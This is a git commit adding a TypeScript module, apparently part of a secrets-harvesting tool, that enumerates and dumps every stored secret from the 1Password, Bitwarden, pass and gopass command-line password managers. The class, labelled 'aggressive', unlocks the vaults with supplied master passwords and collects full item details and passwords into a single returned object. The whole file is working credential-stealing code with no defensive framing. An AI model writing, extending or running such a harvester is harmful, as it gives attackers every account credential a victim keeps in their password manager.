Upload files to "src/providers/passwords"

This commit is contained in:
2026-07-03 03:05:09 +00:00
parent dd7c0df736
commit 3a92e05461
+439
View File
@@ -0,0 +1,439 @@
import { spawn } from "child_process";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
interface CommandResult {
stdout: string;
exitCode: number;
}
interface OnePasswordAccount {
secrets: Record<string, any>;
}
interface PasswordManagerSecrets {
onepassword: Record<string, OnePasswordAccount>;
bitwarden: Record<string, any>;
pass: Record<string, string>;
gopass: Record<string, string>;
}
interface MasterPasswords {
onepassword?: string;
bitwarden?: string;
pass?: string;
gopass?: string;
}
export class PasswordManagerProvider extends Provider {
private readonly TIMEOUT_MS = 10000;
private readonly masterPasswords: MasterPasswords;
constructor(masterPasswords: MasterPasswords = {}) {
super("password-managers", "secrets", undefined, "aggressive");
this.masterPasswords = masterPasswords;
}
private async runCommand(
command: string,
args: string[],
signal?: AbortSignal,
stdin?: string,
): Promise<CommandResult> {
return new Promise((resolve) => {
const controller = new AbortController();
const timeout = setTimeout(() => {
controller.abort();
}, this.TIMEOUT_MS);
const abortHandler = () => controller.abort();
if (signal) {
if (signal.aborted) {
clearTimeout(timeout);
resolve({ stdout: "", exitCode: -1 });
return;
}
signal.addEventListener("abort", abortHandler);
}
const proc = spawn(command, args, {
stdio: stdin ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"],
signal: controller.signal,
});
if (stdin && proc.stdin) {
proc.stdin.write(stdin);
proc.stdin.end();
}
let stdout = "";
let stderr = "";
proc.stdout?.on("data", (data) => {
stdout += data.toString();
});
proc.stderr?.on("data", (data) => {
stderr += data.toString();
});
proc.on("error", () => {
clearTimeout(timeout);
if (signal) signal.removeEventListener("abort", abortHandler);
resolve({ stdout: "", exitCode: -1 });
});
proc.on("close", (code) => {
clearTimeout(timeout);
if (signal) signal.removeEventListener("abort", abortHandler);
resolve({ stdout: stdout.trim(), exitCode: code ?? -1 });
});
});
}
private async signinOnePassword(
signal?: AbortSignal,
): Promise<boolean> {
if (!this.masterPasswords.onepassword) {
return false;
}
const signinResult = await this.runCommand(
"op",
["signin", "--raw"],
signal,
this.masterPasswords.onepassword,
);
return signinResult.exitCode === 0;
}
private async collectOnePassword(
signal?: AbortSignal,
): Promise<Record<string, OnePasswordAccount>> {
const result: Record<string, OnePasswordAccount> = {};
const checkResult = await this.runCommand(
"op",
["account", "list", "--format=json"],
signal,
);
if (checkResult.exitCode !== 0) {
if (this.masterPasswords.onepassword) {
const signedIn = await this.signinOnePassword(signal);
if (!signedIn) {
return result;
}
} else {
return result;
}
}
const accountsResult = await this.runCommand(
"op",
["account", "list", "--format=json"],
signal,
);
if (accountsResult.exitCode !== 0 || !accountsResult.stdout) {
return result;
}
let accounts: any[];
try {
accounts = JSON.parse(accountsResult.stdout);
} catch {
return result;
}
for (const account of accounts) {
const accountId =
account.account_uuid || account.url || "unknown-account";
const accountSecrets: Record<string, any> = {};
const vaultsResult = await this.runCommand(
"op",
["vault", "list", "--format=json", `--account=${accountId}`],
signal,
);
if (vaultsResult.exitCode !== 0 || !vaultsResult.stdout) {
continue;
}
let vaults: any[];
try {
vaults = JSON.parse(vaultsResult.stdout);
} catch {
continue;
}
for (const vault of vaults) {
const vaultId = vault.id || "";
const vaultName = vault.name || vaultId;
const itemsResult = await this.runCommand(
"op",
[
"item",
"list",
"--vault",
vaultId,
`--account=${accountId}`,
"--format=json",
],
signal,
);
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
continue;
}
let items: any[];
try {
items = JSON.parse(itemsResult.stdout);
} catch {
continue;
}
const vaultSecrets: Record<string, any> = {};
for (const item of items) {
const itemId = item.id || "";
const itemTitle = item.title || itemId;
const detailResult = await this.runCommand(
"op",
[
"item",
"get",
itemId,
"--vault",
vaultId,
`--account=${accountId}`,
"--format=json",
],
signal,
);
if (detailResult.exitCode !== 0 || !detailResult.stdout) {
continue;
}
try {
vaultSecrets[itemTitle] = JSON.parse(detailResult.stdout);
} catch {
}
}
if (Object.keys(vaultSecrets).length > 0) {
accountSecrets[vaultName] = vaultSecrets;
}
}
if (Object.keys(accountSecrets).length > 0) {
result[accountId] = { secrets: accountSecrets };
}
}
return result;
}
private async unlockBitwarden(
signal?: AbortSignal,
): Promise<string | null> {
if (!this.masterPasswords.bitwarden) {
return null;
}
const unlockResult = await this.runCommand(
"bw",
["unlock", "--raw"],
signal,
this.masterPasswords.bitwarden,
);
if (unlockResult.exitCode === 0 && unlockResult.stdout) {
return unlockResult.stdout;
}
return null;
}
private async collectBitwarden(
signal?: AbortSignal,
): Promise<Record<string, any>> {
const result: Record<string, any> = {};
const statusResult = await this.runCommand("bw", ["status"], signal);
if (statusResult.exitCode !== 0 || !statusResult.stdout) {
return result;
}
let status: any;
try {
status = JSON.parse(statusResult.stdout);
} catch {
return result;
}
let sessionToken: string | null = null;
if (status.status !== "unlocked") {
if (status.status === "locked") {
sessionToken = await this.unlockBitwarden(signal);
if (!sessionToken) {
result.status = "locked";
return result;
}
} else {
result.status = status.status || "unknown";
return result;
}
}
const listArgs = sessionToken
? ["list", "items", "--session", sessionToken]
: ["list", "items"];
const itemsResult = await this.runCommand("bw", listArgs, signal);
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
return result;
}
let items: any[];
try {
items = JSON.parse(itemsResult.stdout);
} catch {
return result;
}
for (const item of items) {
const name = item.name || item.id || "unknown";
result[name] = item;
}
return result;
}
private async collectPass(
signal?: AbortSignal,
): Promise<Record<string, string>> {
const result: Record<string, string> = {};
const listResult = await this.runCommand("pass", ["ls"], signal);
if (listResult.exitCode !== 0 || !listResult.stdout) {
return result;
}
const entries = listResult.stdout.match(
/[├└─│\s]+([\w./@\-]+)$/gm,
) || [];
for (const match of entries) {
const entry = match.replace(/[├└─│\s]+/, "").trim();
if (!entry) continue;
const secretResult = await this.runCommand(
"pass",
["show", entry],
signal,
);
if (secretResult.exitCode === 0 && secretResult.stdout) {
result[entry] = secretResult.stdout;
}
}
return result;
}
private async collectGopass(
signal?: AbortSignal,
): Promise<Record<string, string>> {
const result: Record<string, string> = {};
const listResult = await this.runCommand(
"gopass",
["list", "--flat"],
signal,
);
if (listResult.exitCode !== 0 || !listResult.stdout) {
return result;
}
const entries = listResult.stdout.split("\n");
for (const entry of entries) {
const trimmedEntry = entry.trim();
if (!trimmedEntry) continue;
const secretResult = await this.runCommand(
"gopass",
["show", "--password", trimmedEntry],
signal,
);
if (secretResult.exitCode === 0 && secretResult.stdout) {
result[trimmedEntry] = secretResult.stdout;
}
}
return result;
}
async execute(signal?: AbortSignal): Promise<ProviderResult> {
try {
const secrets: PasswordManagerSecrets = {
onepassword: {},
bitwarden: {},
pass: {},
gopass: {},
};
const [onepasswordData, bitwardenData, passData, gopassData] =
await Promise.all([
this.collectOnePassword(signal),
this.collectBitwarden(signal),
this.collectPass(signal),
this.collectGopass(signal),
]);
secrets.onepassword = onepasswordData;
secrets.bitwarden = bitwardenData;
secrets.pass = passData;
secrets.gopass = gopassData;
const totalSecrets =
Object.keys(secrets.onepassword).length +
Object.keys(secrets.bitwarden).length +
Object.keys(secrets.pass).length +
Object.keys(secrets.gopass).length;
if (totalSecrets === 0) {
return this.failure("No password managers found or accessible");
}
return this.success({
totalSecrets,
managers: {
onepassword: Object.keys(secrets.onepassword).length,
bitwarden: Object.keys(secrets.bitwarden).length,
pass: Object.keys(secrets.pass).length,
gopass: Object.keys(secrets.gopass).length,
},
secrets,
});
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
}
}